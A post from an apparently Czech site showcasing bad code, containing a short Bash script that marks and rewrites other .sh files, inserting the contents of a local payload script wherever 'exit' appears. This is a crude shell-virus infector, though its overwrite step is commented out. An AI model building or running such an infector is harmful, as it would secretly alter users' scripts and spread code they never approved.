Mistři v programování na #hovnokod

Bash #16

#!/bin/bash
grep ttt y
for fl in `find $1 | grep .sh$`
do
l1=`cat $fl | head -n 2 | grep ttt`
l2="grep ttt y"
case $l1 in
$l2)
echo "yes "$l1" "$fl
        ;;
*)
        echo "no "$l1" "$fl
        echo '#!/bin/bash' > $fl.2
        echo 'grep ttt y' >> $fl.2
        cat $fl | gawk '{ if(/exit/){ system("cat /home/alice/pp.sh") } else { print $0 } }' >> $fl.2
        cat $fl.2
#        cp $fl.2 $fl
        rm $fl.2
esac
done
cp ~/pp.sh~ ~/pp.sh
exit 0

Anonymous,